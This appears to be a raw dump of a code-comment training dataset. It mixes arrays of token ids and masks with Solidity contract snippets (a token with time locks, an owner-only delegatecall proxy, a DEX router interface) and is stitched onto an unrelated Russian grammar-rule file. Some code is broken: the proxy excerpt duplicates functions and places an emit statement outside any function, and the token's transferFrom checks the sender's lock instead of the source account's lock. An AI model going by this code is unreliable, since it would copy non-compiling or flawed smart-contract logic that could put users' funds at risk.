1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
490,
474,
429,
38,
321,
429,
654,
39,
3462,
353,
490,
474,
429,
1345,
16,
605,
321,
429,
1345,
288,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/43114/0x51776Bb52461f1a369983D0D38b3AA71cf5798ab/sources/liq_bot.sol | amount of tokens we are sending inthe minimum amount of tokens we want out of the tradelist of token addresses we are going to trade in. this is necessary to calculate amountsthis is the address we are going to send the output tokens tothe last time that the trade is valid for | interface IUniswapV2Router {
function getAmountsOut(uint256 amountIn, address[] memory path)
external
view
returns (uint256[] memory amounts);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
| 4,541,940 | [
1,
8949,
434,
2430,
732,
854,
5431,
316,
5787,
5224,
3844,
434,
2430,
732,
2545,
596,
434,
326,
1284,
3771,
376,
434,
1147,
6138,
732,
854,
8554,
358,
18542,
316,
18,
225,
333,
353,
4573,
358,
4604,
3844,
20244,
291,
353,
326,
1758,
732,
854,
8554,
358,
1366,
326,
876,
2430,
9997,
580,
1142,
813,
716,
326,
18542,
353,
923,
364,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5831,
467,
984,
291,
91,
438,
58,
22,
8259,
288,
203,
225,
445,
24418,
87,
1182,
12,
11890,
5034,
3844,
382,
16,
1758,
8526,
3778,
589,
13,
203,
565,
3903,
203,
565,
1476,
203,
565,
1135,
261,
11890,
5034,
8526,
3778,
30980,
1769,
203,
21281,
225,
445,
7720,
14332,
5157,
1290,
5157,
6289,
310,
14667,
1398,
5912,
5157,
12,
203,
21281,
565,
2254,
5034,
3844,
382,
16,
203,
565,
2254,
5034,
3844,
1182,
2930,
16,
203,
565,
1758,
8526,
745,
892,
589,
16,
203,
565,
1758,
358,
16,
203,
565,
2254,
5034,
14096,
203,
225,
262,
3903,
1135,
261,
11890,
5034,
8526,
3778,
30980,
1769,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value)public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)public constant returns (uint256);
function transferFrom(address from, address to, uint256 value)public returns (bool);
function approve(address spender, uint256 value)public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause()public onlyOwner whenPaused returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value)public returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value)public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender)public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title FFC Token
* @dev FFC is PausableToken
*/
contract FFCToken is StandardToken, Pausable {
string public constant name = "FFC";
string public constant symbol = "FFC";
uint256 public constant decimals = 18;
// lock
struct LockToken{
uint256 amount;
uint32 time;
}
struct LockTokenSet{
LockToken[] lockList;
}
mapping ( address => LockTokenSet ) addressTimeLock;
mapping ( address => bool ) lockAdminList;
event TransferWithLockEvt(address indexed from, address indexed to, uint256 value,uint256 lockValue,uint32 lockTime );
/**
* @dev Creates a new MPKToken instance
*/
constructor() public {
totalSupply = 10 * (10 ** 8) * (10 ** 18);
balances[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value)public whenNotPaused returns (bool) {
assert ( balances[msg.sender].sub( getLockAmount( msg.sender ) ) >= _value );
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)public whenNotPaused returns (bool) {
assert ( balances[_from].sub( getLockAmount( msg.sender ) ) >= _value );
return super.transferFrom(_from, _to, _value);
}
function getLockAmount( address myaddress ) public view returns ( uint256 lockSum ) {
uint256 lockAmount = 0;
for( uint32 i = 0; i < addressTimeLock[myaddress].lockList.length; i ++ ){
if( addressTimeLock[myaddress].lockList[i].time > now ){
lockAmount += addressTimeLock[myaddress].lockList[i].amount;
}
}
return lockAmount;
}
function getLockListLen( address myaddress ) public view returns ( uint256 lockAmount ){
return addressTimeLock[myaddress].lockList.length;
}
function getLockByIdx( address myaddress,uint32 idx ) public view returns ( uint256 lockAmount, uint32 lockTime ){
if( idx >= addressTimeLock[myaddress].lockList.length ){
return (0,0);
}
lockAmount = addressTimeLock[myaddress].lockList[idx].amount;
lockTime = addressTimeLock[myaddress].lockList[idx].time;
return ( lockAmount,lockTime );
}
function transferWithLock( address _to, uint256 _value,uint256 _lockValue,uint32 _lockTime )public whenNotPaused {
if( lockAdminList[msg.sender] != true ){
return;
}
assert( _lockTime > now );
assert( _lockValue > 0 && _lockValue <= _value );
transfer( _to, _value );
bool needNewLock = true;
for( uint32 i = 0 ; i< addressTimeLock[_to].lockList.length; i ++ ){
if( addressTimeLock[_to].lockList[i].time < now ){
addressTimeLock[_to].lockList[i].time = _lockTime;
addressTimeLock[_to].lockList[i].amount = _lockValue;
emit TransferWithLockEvt( msg.sender,_to,_value,_lockValue,_lockTime );
needNewLock = false;
break;
}
}
if( needNewLock == true ){
// add a lock
addressTimeLock[_to].lockList.length ++ ;
addressTimeLock[_to].lockList[(addressTimeLock[_to].lockList.length-1)].time = _lockTime;
addressTimeLock[_to].lockList[(addressTimeLock[_to].lockList.length-1)].amount = _lockValue;
emit TransferWithLockEvt( msg.sender,_to,_value,_lockValue,_lockTime);
}
}
function setLockAdmin(address _to,bool canUse)public onlyOwner{
lockAdminList[_to] = canUse;
}
function canUseLock() public view returns (bool){
return lockAdminList[msg.sender];
}
} | * @title ERC20 interface/ | contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)public constant returns (uint256);
function transferFrom(address from, address to, uint256 value)public returns (bool);
function approve(address spender, uint256 value)public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
| 241,007 | [
1,
654,
39,
3462,
1560,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
4232,
39,
3462,
353,
4232,
39,
3462,
8252,
288,
203,
225,
445,
1699,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
482,
5381,
1135,
261,
11890,
5034,
1769,
203,
225,
445,
7412,
1265,
12,
2867,
628,
16,
1758,
358,
16,
2254,
5034,
460,
13,
482,
225,
1135,
261,
6430,
1769,
203,
225,
445,
6617,
537,
12,
2867,
17571,
264,
16,
2254,
5034,
460,
13,
482,
1135,
261,
6430,
1769,
203,
225,
871,
1716,
685,
1125,
12,
2867,
8808,
3410,
16,
1758,
8808,
17571,
264,
16,
2254,
5034,
460,
1769,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/3/0xCD1AFFDa0bA8aBDD5E70776DA75eC538361861Db/sources/MinimalProxy.sol | Transaction Executed event | {
event Executed(bool status);
modifier onlyProxyOwner {
require(msg.sender == owner, "MinimalProxy: Not Owner");
_;
}
function authorize(
address _factory,
address _owner
) external {
require(
ProxyFactory(_factory).registry(_owner) == address(this),
"Unauthorized Execution"
);
owner = _owner;
}
function isContract(address _target) internal view returns(bool) {
uint32 size;
assembly {
size := extcodesize(_target)
}
return (size > 0);
}
function isContract(address _target) internal view returns(bool) {
uint32 size;
assembly {
size := extcodesize(_target)
}
return (size > 0);
}
function execute(address _target, bytes memory _data)
public
payable
returns (bytes32 response)
{
require(_target != address(0), "Invalid Address");
require(msg.sender == owner, "Unauthorized Execution");
require(isContract(_target), "Target is not a Contract");
assembly {
let succeeded := delegatecall(
sub(gas(), 5000),
_target,
add(_data, 0x20),
mload(_data),
0,
32
)
switch iszero(succeeded)
case 1 {
revert(0, 0)
}
}
}
function execute(address _target, bytes memory _data)
public
payable
returns (bytes32 response)
{
require(_target != address(0), "Invalid Address");
require(msg.sender == owner, "Unauthorized Execution");
require(isContract(_target), "Target is not a Contract");
assembly {
let succeeded := delegatecall(
sub(gas(), 5000),
_target,
add(_data, 0x20),
mload(_data),
0,
32
)
switch iszero(succeeded)
case 1 {
revert(0, 0)
}
}
}
function execute(address _target, bytes memory _data)
public
payable
returns (bytes32 response)
{
require(_target != address(0), "Invalid Address");
require(msg.sender == owner, "Unauthorized Execution");
require(isContract(_target), "Target is not a Contract");
assembly {
let succeeded := delegatecall(
sub(gas(), 5000),
_target,
add(_data, 0x20),
mload(_data),
0,
32
)
switch iszero(succeeded)
case 1 {
revert(0, 0)
}
}
}
emit Executed(true);
} | 5,133,425 | [
1,
3342,
3889,
4817,
871,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
95,
203,
565,
871,
3889,
4817,
12,
6430,
1267,
1769,
203,
203,
565,
9606,
1338,
3886,
5541,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
3410,
16,
315,
2930,
2840,
3886,
30,
2288,
16837,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
445,
12229,
12,
203,
3639,
1758,
389,
6848,
16,
203,
3639,
1758,
389,
8443,
203,
565,
262,
3903,
288,
203,
3639,
2583,
12,
203,
5411,
7659,
1733,
24899,
6848,
2934,
9893,
24899,
8443,
13,
422,
1758,
12,
2211,
3631,
203,
5411,
315,
13981,
8687,
6,
203,
3639,
11272,
203,
3639,
3410,
273,
389,
8443,
31,
203,
565,
289,
203,
203,
203,
565,
445,
353,
8924,
12,
2867,
389,
3299,
13,
2713,
1476,
1135,
12,
6430,
13,
288,
203,
1377,
2254,
1578,
963,
31,
203,
1377,
19931,
288,
203,
3639,
963,
519,
1110,
7000,
554,
24899,
3299,
13,
203,
1377,
289,
203,
1377,
327,
261,
1467,
405,
374,
1769,
203,
565,
289,
203,
203,
565,
445,
353,
8924,
12,
2867,
389,
3299,
13,
2713,
1476,
1135,
12,
6430,
13,
288,
203,
1377,
2254,
1578,
963,
31,
203,
1377,
19931,
288,
203,
3639,
963,
519,
1110,
7000,
554,
24899,
3299,
13,
203,
1377,
289,
203,
1377,
327,
261,
1467,
405,
374,
1769,
203,
565,
289,
203,
203,
565,
445,
1836,
12,
2867,
389,
3299,
16,
1731,
3778,
389,
892,
13,
203,
3639,
1071,
203,
3639,
8843,
429,
203,
3639,
1135,
261,
3890,
1578,
766,
13,
203,
565,
288,
203,
3639,
2583,
24899,
3299,
480,
1758,
12,
20,
3631,
315,
1941,
2
]
|
// Сочетаемость глаголов (и отглагольных частей речи) с предложным
// паттерном.
// LC->07.08.2018
facts гл_предл language=Russian
{
arity=3
//violation_score=-5
generic
return=boolean
}
#define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{}
#region Предлог_В
// ------------------- С ПРЕДЛОГОМ 'В' ---------------------------
#region Предложный
// Глаголы и отглагольные части речи, присоединяющие
// предложное дополнение с предлогом В и сущ. в предложном падеже.
wordentry_set Гл_В_Предл =
{
rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль
// вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб
rus_verbs:воевать{}, // Воевал во Франции.
rus_verbs:устать{}, // Устали в дороге?
rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения.
rus_verbs:решить{}, // Что решат в правительстве?
rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает.
rus_verbs:обстоять{}, // В действительности же дело обстояло не так.
rus_verbs:подыматься{},
rus_verbs:поехать{}, // поедем в такси!
rus_verbs:уехать{}, // он уехал в такси
rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей
rus_verbs:ОБЛАЧИТЬ{},
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло.
rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ)
rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ)
rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ)
rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ)
rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ)
rus_verbs:ЗАМАЯЧИТЬ{},
rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ)
rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ)
rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ)
rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ)
rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ)
rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ)
rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ)
rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ)
rus_verbs:ПоТЕРЯТЬ{},
rus_verbs:УТЕРЯТЬ{},
rus_verbs:РАСТЕРЯТЬ{},
rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.)
rus_verbs:СОМКНУТЬСЯ{},
rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ)
rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ)
rus_verbs:ВЫСТОЯТЬ{},
rus_verbs:ПОСТОЯТЬ{},
rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ)
rus_verbs:ВЗВЕШИВАТЬ{},
rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ)
прилагательное:быстрый{}, // Кисель быстр в приготовлении
rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень
rus_verbs:призывать{},
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ)
rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ)
rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ)
rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ)
rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ)
